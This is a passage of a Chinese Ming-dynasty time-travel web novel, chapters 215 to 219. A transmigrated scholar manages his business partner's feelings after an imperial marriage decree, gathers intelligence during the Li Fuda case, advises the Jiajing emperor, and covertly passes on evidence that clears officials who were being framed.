与吴夫人等官眷的往来也更加注重实效。
她的诗词中,那股幽怨之气淡了,
取而代之的是一种更加超然、
更加关注世情的视角。
在这座权力与欲望交织的京城,
她必须拥有属于自己的立足之地。
感情受挫,反而催生了她更快地成长。
这条才女之路,她不仅要走下去,
还要走得更加漂亮,
更加……有价值。
第215章:香君黯神伤,利益纽带固
“梅香诗社”里赵文萱的幽怨诗词尚在部分文人圈子里悄然流传,
皇帝赐婚苏状元的佳话也仍是市井茶余的谈资,
这消息自然也顺着京城的脉络,
流入了那座名为“云裳阁”的雅致小楼。
彼时,沈香君正在三楼她那间兼具书房与茶室功能的私密房间里,
核对这个月的账目。
“云裳阁”的生意愈发红火,
依托苏惟瑾提供的“玉衡三宝”之利,
加上她长袖善舞的经营,
不仅在女眷中站稳了脚跟,
连一些追求风雅的文人士子也开始光顾,
购买那些带有清雅香气的皂荚、香囊作为礼品。
香皂的试制也取得了进展,
虽纯度远不及后世,
但那独特的清洁力和芬芳,
已让少量试用过的贵妇们趋之若鹜。
丫鬟轻手轻脚地进来,
低声将外面传得沸沸扬扬的赐婚消息禀报给她。
沈香君执着紫毫笔的手,
几不可察地顿了一下,
笔尖在账册的数字上留下一个微小的墨点。
她脸上那惯常的、仿佛永远掌控局面的浅淡笑容凝滞了刹那,
眼底深处掠过一丝极复杂难辨的情绪,
像是投入深潭的石子,
荡开一圈涟漪,随即又迅速恢复了平静,
快得让人以为是错觉。
她没说话,只是缓缓放下笔,
起身走到窗边,推开一条缝隙。
深秋的凉风带着市井的喧嚣涌进来,
吹动她鬓角一丝不听话的碎发。
楼下街道上车马粼粼,人声隐约,
一派繁华景象,却好似与她隔着一层无形的薄膜。
心中五味杂陈。
有些空落,有些自嘲,
还有些……早已预料的释然。
那个在沭阳书铺初遇时便显得与众不同的少年,
那个在京城重逢后与她默契合作、
各取所需的男子,
终究是走到了这一步。
皇帝赐婚,对象是那个在他微末时给予温暖的邻家女,
多么符合话本里才子佳人的套路,
多么的**正确。
她沈香君,一个身处风月、
消息灵通的清倌人,
难道还能指望别的结局吗?
她轻轻呵出一口气,
白雾在冰冷的窗玻璃上氤氲开一小片,又迅速消散。
久经风月,看尽世态炎凉,
她早已学会将真实的情绪深深掩藏。
伤感或许有,但沉溺于此,
绝非她沈香君的作风。
“知道了。”
她淡淡地对丫鬟说了一句,
声音平静无波。
“去把前日新到的那些蜀锦样子拿来我看看。”
她需要做点什么,
用具体的事务来填充那瞬间的空洞,
来确认自己存在的价值和……位置。
接下来的几天,
沈香君仿佛什么事都未曾发生,
甚至比以往更加忙碌。
她亲自督促“云裳阁”的账目,
与供货商讨价还价,
指点绣娘新的花样,
对香皂的改进提出了更苛刻的要求。
她穿梭于阁内,笑容依旧妩媚,
言辞依旧玲珑,只是那笑意,
似乎比往常更公式化了一些,
那玲珑之下,藏着一份不易察觉的疏离和……更强烈的掌控欲。
她将内心深处那点难以言说的情愫,
悄然转化,全部投入到了与苏惟瑾共同经营的利益网络中。
情感或许会变,但利益同盟,
只要双方都需要,往往更加牢固。
她需要证明,她沈香君,
不仅仅是苏惟瑾的红颜知己,
更是他不可或缺的商业伙伴、
信息渠道,是他在这京城暗处的一只眼睛,一只耳朵。
这日,苏惟瑾难得闲暇,
亲至“云裳阁”后院,
查看香皂作坊的进展,
也与沈香君商量一些关于利用李福达案风口、
如何进一步拓展人脉、安插眼线的计划。
两人在沈香君那间布置清雅的房间里对坐,
中间隔着一张紫檀小几,
上面摆着两盏清茶,几碟精致茶点。
苏惟瑾先是肯定了香皂试制的成功,
又就着山西的局势,
低声交换了一些看法。
谈话间隙,沈香君执起茶壶,
为苏惟瑾续上茶水,动作优雅从容。
她抬起眼,眸光流转,
落在苏惟瑾脸上,
嘴角勾起一抹似笑非笑的弧度,
语气带着她特有的、
介于调侃与认真之间的味道:
“说起来,还未曾当面恭喜苏公子呢。”
她声音柔媚,却听不出多少恭喜的真心,
反倒像在陈述一个既定事实。
“陛下金口玉言,赐下良缘,
陈姑娘温柔贤淑,
与公子正是天作之合。
如今你成了家,立了业,
真正是双喜临门了。”
苏惟瑾端着茶杯的手微微一顿,抬眼看向她。
他自然听出了她话语底下那丝若有若无的异样,
也捕捉到了她眼中一闪而过的复杂。
他心中了然,以沈香君的玲珑心肝,
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岂会毫无感触?
只是她选择用这种方式来表达。
他放下茶杯,神色坦然,
没有虚伪的客套,
也没有不必要的歉意,
只是平静地看着她:
“香君姑娘有心了。”
沈香君见他如此坦然,
心中那点最后的不甘也奇异地平复了些。
她轻笑一声,带着几分自嘲,
又带着几分决绝,
半真半假地说道:
“如今你成了家,我这‘外室’……
往后更要帮你管好钱袋子和耳朵了才是。
免得苏夫人入门后,
发现家底不清不楚,
或是听到些不该听的风声,
那可就是香君的罪过了。”
“外室”二字,她说得极其自然,
就像在说一件再寻常不过的事情,
却巧妙地界定了他和她之间新的关系
——不再是模糊的、掺杂着些许暧昧的合作伙伴,
而是更加明确、更加稳固的……
利益共同体。
她主动将自己放在了“外室”这个看似卑微、
实则拥有相当自**和价值的位置上,既是表态,也是提醒。
苏惟瑾深深看了她一眼,
心中亦是明了。
沈香君的选择,现实而理智,
甚至可以说……高明。
她清楚地知道什么对她最重要,
也知道如**系与自己的关系才能长久。
他举起茶杯,以茶代酒,向她微微示意:
“有劳香君姑娘费心。
苏某的钱袋子和耳朵,
交给你,我放心。”
两人相视一笑,许多未尽之言,
都在这一笑之中。
有些东西悄然改变了,
有些东西却也因此更加牢固。
他们心照不宣,
关系已然进入了一个新的阶段
——少了些若有若无的情愫牵绊,
多了些赤裸而坚实的利益捆绑,
以及在这捆绑之下,
一种奇异的、更加坦荡的信任。
沈香君知道,从今往后,
她更要紧紧抓住“云裳阁”,
抓住香皂生意,
抓住那张不断延伸的信息网络。
这些,才是她安身立命的根本,
才是她能与苏惟瑾这位前途无量的状元公、
翰林修撰持续对话的资本。
感情?那太奢侈,也太不可靠。
还是真金白银和有用的消息,
更让人踏实。
她端起自己那杯早已微凉的茶,
一饮而尽,如同饮下一杯决绝的酒,
也将最后一丝怅惘,彻底咽下。
第216章 坐山观虎斗,暗中织罗网
苏惟瑾坐在翰林院值房那扇临窗的书案后,
指尖一枚温润的羊脂白玉镇纸无意识地在指间翻转。
窗外是北京城高远疏朗的秋日天空,
偶有孤雁掠过长空,留下几声清唳。
他脑海中却不似窗外这般宁静,
几位女子的面容交替浮现
——芸娘的温婉依赖,
王雪茹的飒爽执拗,
赵文萱的清冷才情,
沈香君的玲珑通透……
剪不断,理还乱。
他轻轻吁出一口气,
将那点旖旎思绪强行压下,
嘴角泛起一丝无奈的自嘲。
优秀?
或许是有的,
但这份“桃花运”更多是时势与自身地位变化使然。
他自问并非刻意招惹,
更非存心要做那等三心二意之徒。
无论是穿越前的现代观念,
还是如今身处的大明现实,
他都清楚,权势财富到达一定程度,
身边自然不可能只有一位女子。
这不是他个人道德能完全左右的环境。
“罢了,船到桥头自然直。”
他心中默念,将这些情感纠葛暂时封存。
眼下,有远比儿女情长更重要、
也更凶险的事情亟待处理。
李福达案,就是一块被投入鳄鱼潭的血肉,
瞬间激起了朝堂之下最汹涌的暗流。
连日来的朝会、经筵,
乃至翰林院内部的清谈,
几乎都绕不开这个话题。
以张璁为首,凭借“大礼议”崛起的新贵集团,
急于借此案扩大战果,
打击政敌,巩固权力;
而残存的杨廷和旧部门生故吏,
以及一些秉持传统、
看不惯张璁等人激进做派的清流官员,
则或明或暗地加以抵制,
双方围绕着案件的审理权、
定性、涉及范围等问题,
展开了激烈至极的攻讦。
“陛下!李福达乃白莲教巨酋,
妖言惑众,聚众谋逆,证据确凿!
更兼与宗室往来,其心可诛!
此案必须严查深究,
凡有牵连者,无论身份,
皆应以雷霆手段处置,
方能震慑宵小,肃清寰宇!”
张璁**的干将,
礼科都给事中窦淮偲,
在朝堂上慷慨激昂,唾沫横飞,
目光如隼,扫过对面几位面色凝重的老臣。
“窦给事中此言差矣!”
一位都察院的老御史颤巍巍出列,
他是杨廷和时代的老人,
素以刚直著称。
“办案需重证据,讲程序!
岂能因一人之罪,便行株连之事?
所谓勾结宗室,目前多为风闻,并无铁证!
若贸然扩大,恐伤及无辜,
动摇国本,非社稷之福!
老臣以为,当由三法司依律审断,
而非交由某些……急于事功之辈!”
“王御史此言,莫非是要包庇叛逆不成?”
张璁另**羽,刑部某郎中立刻阴恻恻地反击。
“还是说,王御史与那涉案的某藩,有什么瓜葛?”
“你……你血口喷人!”
老御史气得胡子直抖。
朝堂之上,顿时吵作一团,
引经据典者有之,含沙射影者有之,
互相扣帽子者更有之。
龙椅上的嘉靖帝面沉似水,
年轻的眼睛里闪烁着莫测高深的光芒,
既不制止,也不表态,
任由臣子们争吵,
显然在欣赏一出精心排演的大戏。
苏惟瑾身着青色翰林官袍,
站在属于自己的位置上,
眼观鼻,鼻观心,如同老僧入定。
他谨守着翰林院修撰的本分,
绝不轻易就此类敏感案件发表看法。
但他的超频大脑,
却如同最高性能的录音录像设备,
将每一个发言者的神态、
语气、用词、逻辑漏洞,
乃至他们与其他官员的眼神交流,
都清晰地记录、存储下来。
数据录入:
·张璁派系:核心诉求(借案扩权,打击异己),
常用手段(上纲上线,扩大化,人身攻击),
潜在弱点(急于求成,证据链可能存在瑕疵,内部并非铁板一块)。
清流/旧臣派系:
核心诉求(限制案件影响,保护自身及关联势力),
常用手段(强调程序正义,反对株连,质疑证据),
潜在弱点(部分人与宗室或地方势力确有千丝万缕联系,底气不足)。
中立/观望派:
态度模糊,发言谨慎,
需重点分析其立场倾向及可能争取的价值。
皇帝态度:
默许甚至鼓励争斗,意在制衡,
借刀**,最终裁决权紧握手中。
超脑高速运转,建立模型,
分析着每一派背后的利益网络、
人际关系以及他们在此案中的致命弱点。
他知道,现在还不是他下场的时候。
鹬蚌相争,渔翁得利。
他要做的,就是当好那个冷静的“渔翁”。
明面上,他沉默寡言,恪尽职守。
暗地里,两张无形的网,
正随着他的意志悄然张开。
一张网,来自“云裳阁”。
沈香君展现了惊人的能量,
她利用“云裳阁”作为掩护,
通过女眷闲谈、伙计打听、
乃至刻意结交的一些低阶官吏和他们的家仆,
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>开始收集与李福达案相关的各种边缘信息。
比如,张璁门下某个负责查案的御史,
其小舅子近日在赌场豪掷千金;
又比如,刑部某个郎中,
其老家似乎与涉案的某个山西士绅过往甚密;
再比如,京城突然多了些形迹可疑的山西口音之人,
似乎在暗中活动,打探消息……
这些看似零碎的情报,
被沈香君细心筛选、核实,
通过隐秘渠道源源不断送到苏惟瑾手中。
另一张网,则来自那个被“洗脑”加“科技”武装起来的鹤岑道人。
苏惟瑾授意周大山,
给予鹤岑道人一定的活动经费和自由度,
让他以其“云游高人”的身份,
混迹于京城的道观、茶楼、
酒肆乃至一些下九流的场所。
道士身份在这个时代是极好的掩护,
三教九流皆可接触。
鹤岑道人牢记苏惟瑾“辅佐真龙、
暗随明主”的教诲,
凭借着苏惟瑾传授的一些似是而非的“道法”
(如简单的化学戏法、心理学话术)
和还算伶俐的口齿,
倒也很快混出点小名气,
结交了些消息灵通的市井人物。
他从这些底层渠道,
听到了不少关于官差办案时如何敲诈勒索、
如何屈打成招的传闻,甚至隐约打听到,
张璁手下似乎有人在暗中接触李福达的“同党”,
试图诱导其攀咬某些清流官员……
所有这些信息,
无论来自“听风”还是“鹤岑”,
最终都汇入苏惟瑾的超频大脑。
他如同一个最高明的织工,
将这些杂乱无章的线头,
梳理、归类、交叉验证,
逐渐编织成一张清晰的情报网络,
尤其是关于张璁**在此案中可能存在的种种不法行径、
滥用职权、构陷他人的潜在证据。
他不动声色地将这些“黑料”分门别类,妥善保管。
现在还不是抛出去的时候。
他在等待,等待朝堂上那两派斗到筋疲力尽、破绽百出之时,
等待皇帝对某一方失去耐心或者需要新的平衡力量介入之刻。
坐在翰林院安静的值房里,
听着远处隐约传来的朝堂争吵声,
苏惟瑾的嘴角,勾起一抹冷峻而睿智的弧度。
斗吧,尽情地斗吧。
他只需稳坐钓鱼台,冷眼旁观,暗中织网。
待到时机成熟,
他手中这些看似不起眼的“黑料”,
或许就能成为撬动整个棋局的关键支点。
这盘由张璁亲手掀起的棋局,
最终的赢家,未必就是那个最先落子的人。
第217章 帝心厌党争,询计小先生
西苑万寿宫旁的凝神圃里,
秋意已深,几株老柿子树挂满了红灯笼似的果子,
映着朱红宫墙,煞是好看。
可嘉靖帝朱厚熜的心情,
却与这秋高气爽的景致全然不搭。
他负手立在轩窗前,
望着太液池上被风吹皱的秋水,
眉宇间锁着一股挥之不去的阴郁烦躁。
御案上,堆着小山般的奏疏,
十之**都在争论同一件事
——李福达案。
“张璁**,穷追猛打,
恨不得将杨廷和旧部连根拔起,其心可诛!”
“清流之辈,迂阔守旧,
一味强调程序,岂非纵容包庇,养虎为患?”
“武定侯郭勋,其下庄田与李逆多有牵连,
此番竟也敢上疏撇清,真当朕是瞎子吗?”
每一份奏疏都引经据典,字字铿锵,
可落在嘉靖帝眼里,
却只觉得一股浓烈的党同伐异之气扑面而来。
他们吵的不是案子,是权力;
争的不是真相,是地盘。
没人真正关心那白莲教妖人如何蛊惑人心、
是否真与藩王勾结动摇国本,
更没人在乎朝廷因此案在天下人眼中成了菜市场般的笑话!
“够了!”
嘉靖帝猛地一挥袖,
将案头几份言辞最激烈的奏章扫落在地,胸口微微起伏。
年轻皇帝白皙的脸庞因怒气泛起一丝红晕,眼神却冷得像冰。
“一个个道貌岸然,满口仁义道德,
心里打的全是结党营私的算盘!
黄锦!”
“奴婢在。”
司礼监掌印太监黄锦连忙躬身,大气不敢出。
“去,把苏惟瑾给朕叫来。”
嘉靖帝深吸一口气,
压下翻腾的怒火,
声音恢复了惯常的淡漠。
“就说……朕新得了一卷前朝炼丹札记,
有些疑难处,请他过来参详参详。”
“奴婢遵旨。”
黄锦心领神会,
陛下这是烦透了那些冠冕堂皇的朝议,
想找那个能说点“不一样”的苏小先生清净片刻了。
他悄悄瞥了一眼地上的奏疏,
心中暗叹,这苏修撰的圣眷,怕是又要涨了。
苏惟瑾此刻正在翰林院的档库里,
对着几本泛黄的《大明会典》核对典制。
听到黄锦亲自来传口谕,
他面上适时露出些许受宠若惊,
心中却是雪亮
——风暴眼中的宁静时刻结束了,
皇帝要听的不是丹道,
而是对眼下这摊乱局的看法。
他整理了一下青色的翰林官袍,
确保一丝褶皱也无,
这才随着黄锦,穿堂过院,
往西苑行去。
一路上,他超频的大脑已开始飞速运转,
推演着皇帝可能的问题,
以及自己该如何作答,
才能既展现价值,
又不卷入那要命的党派漩涡。
踏入凝神圃那间熟悉的静室,
檀香混合着丹药的淡淡金石气息萦绕鼻端。
嘉靖帝已恢复了平静,坐在蒲团上,
手边放着一卷旧书,
见他进来,抬了抬眼,淡淡道:
“来了?坐。”
“臣苏惟瑾,叩见陛下。”
苏惟瑾依礼**,
这才在皇帝下首的锦墩上小心坐了半个屁股,腰杆挺得笔直。
嘉靖帝没急着问丹道,
反而用指尖点了点旁边小几上几份特意挑出来的奏疏,
语气带着一丝难以掩饰的倦怠:
“外面吵翻了天,
都是为了李福达的案子。
惟瑾,你在翰林院,
想必也听了不少。
依你之见,这群臣工,
谁更有理些?”
来了!果然问的是这个!
苏惟瑾心中警铃大作。
这是个陷阱题!
无论说张璁有理还是清流有理,
都等于选边站队,
立刻就会成为另一派的眼中钉肉中刺。
他沉吟片刻,并未直接回答谁对谁错,
而是站起身,躬身一礼,声音清朗而沉稳:
“陛下,臣愚见,朝中诸位大人,
皆为国之栋梁,
所言想必皆有其考量依据。”
先各打五十大板,不得罪人。
紧接着,他话锋一转,图穷匕见:
“然,臣窃以为,眼下之争,
纠缠于人事意气者多,
着眼于案件根本者少。
此案之关键,不在张大人亦或王御史谁更占理,
而在于二字——‘法’与‘信’。”
“哦?”
嘉靖帝原本有些漫不经心的眼神陡然锐利起来,身体微微前倾。
“仔细说说。”
苏惟瑾感受到皇帝目光中的压迫感,
但超频大脑赋予的冷静让他语调依旧平稳:
“陛下明鉴。
李福达是否谋逆,是否勾结宗室,
需凭铁证定罪,依《大明律》审理,
此乃‘法’之所在,不容模糊,亦不容扩大。
唯有程序严谨,证据确凿,
判决方能令人信服,此乃朝廷法度之威严。”
他顿了顿,观察了一下皇帝的神色,继续道:
“而朝廷借此案要向天下臣民彰显的,
则是一个‘信’字。
信者,朝廷言出必行,
法度公平无私。
若因朝臣攻讦,
便使案情反复,牵连无度,
或为打击政敌而罗织罪名,
则朝廷威信何在?
天下人如何看待陛下?
看待我大明律法?
届时,恐非但未能震慑宵小,
反而寒了忠良之心,
失了亿兆黎民之望。”
他声音不高,却字字清晰,
如同玉磬轻敲,在寂静的室内回响:
“故而,臣以为,当此之时,
陛下更应超然其上,
握定‘法与信’之圭臬。
责令三法司,排除干扰,
只以确凿证据说话,依律定谳。
审理过程,必要时可适度公开,
以昭陛下公正无私之心。
如此,则案件本身得以厘清,
朝廷体面得以保全,
陛下之圣明,亦将天下共见。
至于朝堂纷争……”
苏惟瑾说到这里,微微一顿,
抬眼迎向嘉靖帝深邃的目光,
语气带着一种超越年龄的通透:
“不过是陛下掌中砥砺玉成之器,
适时敲打,使其各安其位,
各尽其职便可。
若纠缠于意气,
为此案而党争不休,
则
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恐舍本逐末,非社稷之福。”
一番话,如醍醐灌顶。
嘉靖帝怔住了。
他这些日子被吵得头昏脑胀,
只觉得两边都讨厌,
却从未像苏惟瑾这般,
跳出具象的人事争吵,
直接从“朝廷法度”和“天下威信”的至高层面来剖析问题。
不偏不倚,直指核心!
尤其是“砥砺玉成之器”的说法,
简直说到了他的心坎里!
是啊,臣子们争来争去,
不过是帝王权衡之术下的棋子,
他何须为此烦恼?
只需握紧“法”与“信”这两把尺子,
便能稳坐钓鱼台!
“好!说得好!”
嘉靖帝猛地一拍大腿,
脸上多日来的阴霾一扫而空,
眼中闪烁着兴奋的光芒,
“‘法与信’!好一个‘法与信’!
惟瑾啊惟瑾,你真是……
每每都能说到朕的心坎里!
朕这些日子,
真是被那群蠢材吵糊涂了!”
他越看苏惟瑾越觉得满意。
此子不结党,不营私,
眼光独到,总能抓住问题的本质,
更难得的是这份清醒和超然!
这才是朕需要的人才!
“依你之见,眼下当如何处置,
方能彰显这‘法与信’?”
嘉靖帝饶有兴致地追问,
语气已带上了明显的咨询意味。
苏惟瑾心中一定,
知道这番冒险的应对成功了。
他略一思索,道:
“臣以为,陛下可下一中旨,
申饬三法司,限期查明李福达核心罪证,
不得牵连扩大,审理过程需有记录,
关键环节可允科道官旁听监督。
同时,对朝中借机互相攻讦、捕风捉影之言论,予以警示。
如此,既表明陛下重视法度、
追求真相之决心,亦能遏制党争歪风。”
“善!大善!”
嘉靖帝抚掌笑道。
“便依你之言!
黄锦,记下了,稍后便让司礼监拟旨!”
“是,陛下。”
黄锦躬身应下,
看向苏惟瑾的眼神又多了几分深意。
这位苏小先生,简在帝心,
怕是真要一飞冲天了。
嘉靖帝心情大好,
又拉着苏惟瑾讨论了半晌那卷子虚乌有的“炼丹札记”,
苏惟瑾自是凭借超频大脑里的杂学,
应付得滴水不漏。
直到日落西山,苏惟瑾才告退出来。
走出西苑,秋风吹拂,带着凉意,
苏惟瑾却觉得背心微微见汗。
刚才那番奏对,看似从容,实则如履薄冰。
不过,收获亦是巨大。
不仅进一步巩固了“帝心知己”的地位,
获得了参与核心政务咨询的资格,
更是在皇帝心中种下了一颗“依法办事”、“维护朝廷威信”的种子。
他回头望了一眼暮色中巍峨的宫阙,
嘴角勾起一抹冷峻的弧度。
张璁,清流,你们继续斗吧。
我这“法与信”的三字真言,
看似不偏不倚,
实则……已然为你们预设了结局。
只是不知道,当皇帝的刀真正落下时,
最先感到痛的,会是谁呢?
第218章 关键证据出,巧助帝平衡
西苑那场“问对”之后,
嘉靖帝果然雷厉风行。
一道中旨明发三法司,严词申饬,
限期查明李福达核心罪证,
不得借机攀扯,
强调“以律法定谳,以证据服人”,
并允科道官监督关键审理环节。
这道旨意像一盆冷水,
暂时浇熄了朝堂上那锅滚油,
至少表面上是如此。
然而,暗流岂会轻易平息?
张璁府邸的书房内,灯火彻夜通明。
礼部侍郎张璁面色阴沉,
手指敲着紫檀木桌面,
发出“笃笃”的闷响。
他对面坐着心腹干将,
礼科都给事中窦淮偲,以及刑部郎中赵文华。
这两人一个尖嘴猴腮,眼神锐利如鹰;
一个面团团富家翁模样,眼底却藏着精明算计。
“哼!‘不得攀扯’?‘以证据服人’?”
窦淮偲尖着嗓子,语气满是不忿。
“张部堂,陛下这是被那些清流迂腐之言蛊惑了!
李福达案牵连甚广,
正是肃清杨廷和余孽、巩固我等地位的天赐良机!
岂能就此收手?”
赵文华捻着手指上硕大的翡翠戒指,
慢悠悠道:
“窦给事中稍安勿躁。
陛下旨意是要证据,
那我们就给他‘证据’嘛。”
他阴恻恻一笑。
“李福达在山西经营多年,
结交的官员士绅何其多也?
随便找出几封模棱两可的书信,
或是让狱中的‘同党’攀咬几句,
这‘证据’,不就有了?”
张璁微微颔首,他需要的不是真相,
而是将政敌彻底打垮的武器。
“文华所言甚是。
名单上那几个人,
尤其是都察院那个老顽固王元正,
还有吏部那个总跟我们唱反调的周循,
必须借此机会除掉!
做得干净些,务必做成铁案!”
他眼中寒光一闪。
“要让天下人知道,顺我者昌,逆我者亡!”
“部堂高明!”
窦淮偲立刻奉承。
“下官这就去安排,定叫那王元正百口莫辩!”
一时间,张璁党羽暗中动作频频,
罗织罪名的网,悄无声息地撒向那些不肯依附的清流官员。
一股“山雨欲来风满楼”的压抑感,
再次笼罩京城官场。
这股暗流,自然逃不过苏惟瑾的眼睛。
不,确切地说,是逃不过他超频大脑的分析,
以及“听风小筑”和鹤岑道人这两张暗网的捕捉。
沈香君那边传来消息,
张璁门下有人暗中接触刑部大牢的狱卒,
似乎在“指点”某些囚犯的供词;
而市井间也开始流传某些官员与李福达“交往过密”的谣言,指向性极其明确。
鹤岑道人则凭借其“云游高人”的身份,
在一次“偶然”的机会,
从一个喝多了的刑部书办口中套出话,
得知张府管家近日频繁出入赵文华府邸,
似乎在传递什么“名单”和“指示”。
一条条零碎的信息汇入苏惟瑾脑中,
迅速被整合、分析、验证。
超频大脑强如精密的雷达,
清晰地锁定了张璁**的攻击目标和操作手法。
“果然贼心不死,还想扩大化。”
苏惟瑾在翰林院值房里,
指尖轻轻敲击桌面,眼神冷静。
他料到张璁不会轻易罢手,
却没想到对方动作这么快,这么狠。
若真让他们的阴谋得逞,
不仅一批正直官员要遭殃,
朝局将彻底失衡,
皇帝好不容易借助“法与信”建立起来的一点威信也会荡然无存,
最终损害的,还是大明的根基。
必须阻止他们!但不能自己赤膊上阵。
他的目光落在了桌角一份刚刚整理好的“黑材料”上
——那是通过沈香君和鹤岑道人两条线交叉核实后,
找到的能证明都察院王元正、
吏部周循等几位核心被针对官员,
在李福达案发关键时间段内,
或因公务外出、或因丁忧在家,
根本不可能与李福达有实质性勾结的铁证!
其中包括了官文邸报记录、
地方官府出具的证明,
甚至还有当时他们与友人通信中提及行程的内容
(沈香君通过内宅关系巧妙获得)。
这份证据,足以在关键时刻,
给予张璁**的诬陷致命一击。
现在的问题是,如何将这份证据,
以最稳妥、最不引人注意的方式,
递到最关键的人手中——嘉靖皇帝。
直接上奏?
那是找死,立刻会成为张璁党的活靶子。
通过黄锦?
太过刻意,容易引起猜疑。
苏惟瑾沉吟片刻,
超频大脑飞速推演着各种渠道的利弊。
最终,一个看似偶然、实则精妙的计划在他脑中成形。
他找来周大山,低声吩咐了几句。
周大山如今对他已是死心塌地,
虽不明就里,但执行命令毫不含糊。
两日后,司礼监秉笔太监,
黄锦的干儿子,小太监冯保,
例行出宫采买些稀罕玩意儿。
冯保年纪虽小,却机灵通透,
深得黄锦喜爱,也有机会时常在嘉靖帝面前露个脸。
他最爱逛的地方,
便是琉璃厂东街那家专卖海外奇巧物件和古籍善本的“博雅斋”。
这日,冯保又在“博雅斋”内流连,
对着一架精巧的自鸣钟啧啧称奇。
店伙计热情招待,
言谈间“无意”提起,
近日收到一批前朝某致仕官员的家藏残卷,
其中夹杂了些近年的书信杂记,或许有些趣味。
冯保闲来也爱翻些杂书,
便让伙计取来看看。
在一堆无关紧要的书信中,
他“偶然”发现了几份粘在一起的公文抄件和私信片段,
内容正好涉及到王元正、周循等官员在嘉靖元年至二年的行踪记录,
时间点卡得极准,完美印证了他们与李福达无涉!
冯保年纪小,但宫里的熏陶让他立刻意识到这东西不简单!
他不动声色地将那几页纸抽出,
夹在一本买下的闲书里,
多付了伙计几钱银子,
只说是喜欢这书的版刻。
回到宫中,冯保越想越觉得此事蹊跷,
不敢隐瞒,立刻禀报了干爹黄锦。
黄锦是老狐狸,
一看这些“偶然”得到的证据,
再联想到近日朝堂风向和皇帝的心思,
心里顿时跟明镜似的!
这哪是什么“偶然”,
分明是有人借冯保的手,
给皇上递刀子呢!而递刀子的人……
黄锦脑海中瞬间浮现出苏惟瑾那张清俊淡定的脸。
“好小子!真是滴水不漏!”
黄锦暗赞一声,立刻将证据呈送嘉靖帝,
并“如实”汇报了冯保“偶然”得来的经过。
乾清宫内,嘉靖帝看着黄锦呈上的“铁证”,脸色瞬间阴沉如水。
“好啊!好个张璁!好个窦淮偲、赵文华!”
嘉靖帝气得冷笑连连。
“朕让他们查案,
他们倒跟朕玩起栽赃陷害、
党同伐异的把戏来了!
真当朕是可欺之君吗?”
这些证据来得太是时候了!
正好在他强调“法与信”,
厌**争的节骨眼上。
这不仅仅证明了王元正等人的清白,
更印证了张璁**的无法无天!
皇帝最恨的是什么?
就是臣子把他当傻子糊弄!
“陛下息怒。”
黄锦小心翼翼道。
“这些证据虽是偶然所得,
但看来并非空穴来风……”
“偶然?”
嘉靖帝冷哼一声,
目
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光锐利地扫过黄锦。
“这世上哪有那么多巧合?
递证据的人,倒是费心了,
知道维护朝廷体面,保全朕的颜面。”
他没有点破,但君臣二人都心照不宣。
嘉靖帝心中对苏惟瑾的评价,
瞬间又拔高了一大截。
此子不仅眼光毒辣,
能抓住问题核心,
办事更是老练稳妥,懂得借力打力,
暗中维持平衡,这份“懂事”和“忠诚”,
远比那些只知道争权夺利的蠢材强万倍!
次日朝会,风云突变。
当窦淮偲再次跳出来,
慷慨激昂地**王元正、周循等人与李福达勾结,
并呈上所谓的“证词”时,
嘉靖帝直接打断了他,
将冯保“偶然”得来的那份证据摔在了御案之上。
“窦淮偲!你口口声声证据确凿,
那朕来问你,嘉靖元年冬,
王元正奉旨巡查宣大,可有此事?
嘉靖二年春,周循丁忧回乡守制,可有此事?
你所谓的他们与李福达密谋之时,
他们人在何处?
你这证据,是凭空变出来的不成?!”
皇帝的声音不高,却带着雷霆之威,
一句句质问如同耳光,
狠狠扇在钱窦淮偲上。
窦淮偲当场傻眼,汗如雨下,
支支吾吾答不上来。
他身后的张璁、赵文华等人,
也是脸色煞白,如坐针毡。
“陛下明鉴!臣等……
臣等也是被下面的人蒙蔽了啊!”
窦淮偲噗通一声跪倒在地,
磕头如捣蒜。
“蒙蔽?”
嘉靖帝眼神冰冷。
“朕看你们是利令智昏!
结党营私,构陷忠良,
视国法如无物!来人!
将窦淮偲革职查办!
相关涉案人员,交由都察院严加审讯!
张璁、赵文华,驭下不严,罚俸半年,闭门思过!”
一番雷霆处置,快刀斩乱麻。
朝堂之上,刚才还气焰嚣张的张璁党羽,
瞬间偃旗息鼓,噤若寒蝉。
而以王元正、周循为代表的清流官员,
则感激涕零,高呼“陛下圣明”。
他们虽不知是谁在暗中相助,
但这份雪中送炭的恩情,却是记下了。
一场可能引发朝局大地震的风波,
就这样被悄然化解于无形。
嘉靖帝既打击了张璁**的嚣张气焰,
避免了清洗扩大化,又保全了朝廷体面,
彰显了自己“明察秋毫”的圣明,心中大为舒畅。
退朝后,嘉靖帝回到西苑,
心情颇佳,对黄锦感叹道:
“苏惟瑾此人,真乃朕之福将也。
不声不响,便为朕解了如此大一个难题。”
黄锦连忙赔笑:
“是陛下慧眼识人,苏修撰才能为陛下分忧。”
“嗯。”
嘉靖帝微微颔首,眼中闪过一丝深邃。
“此子如此善于借势平衡,
洞察先机……假以时日,必是宰辅之器。
只是,还需再多磨砺一番。”
而此刻的苏惟瑾,正安然坐在翰林院中,
听着同僚们绘声绘色地描述朝会上那戏剧性的一幕,
脸上带着恰到好处的惊讶,仿佛这一切都与他无关。
超频大脑冷静地评估着成果:
张璁党受挫,气焰暂敛;
清流欠下人情;
皇帝更加信任倚重;
自身安全无虞……一举数得,完美。
然而,他深知,**斗争从未有真正的赢家,只有暂时的平衡。
张璁吃了这么大一个闷亏,岂会善罢甘休?
那位看似被罚俸思过、
实则根基未损的张侍郎,
此刻怕是在府中,正咬牙切齿地琢磨着,
该如何报复那个藏在暗处、坏了他好事的“高人”吧?
这潭水,被自己搅动了,接下来的涟漪,又会涌向何方呢?
第219章 尘埃落定时,瓜熟蒂落日
李福达案的终审判决,
在一个秋霜初降的清晨,
由三法司联名呈报御前。
经反复勘验,证据确凿,
李福达以“妖言惑众、聚众谋逆”之罪,
判凌迟处死,家产抄没,妻孥流放三千里。
其核心党羽,或斩或绞,或流或徒,各有惩处。
至于先前被张璁党羽攀咬牵扯的一干官员,
因有“匿名铁证”力证清白,大多安然无恙,
仅有个别与李福达确有浅层往来者,
被罚俸或申饬了事。
尘埃落定,血淋淋的人头落地,
总算给了天下人一个交代。
然而,朝堂之上的风波,
却并未随着案犯的伏法而完全平息,
反而进入了另一种更为微妙的阶段——权力的重新洗牌。
嘉靖帝朱厚熜高踞龙椅,
冷眼俯瞰着丹墀下神色各异的臣工。
他借着此番风波,
以“昏聩无能”、“察事不明”、“有负圣恩”等或实或虚的罪名,
顺势罢黜、调离了一批官员。
这其中,既有几位当初跳得最欢、
试图扩大化的张璁党羽(算是给张璁一个警告),
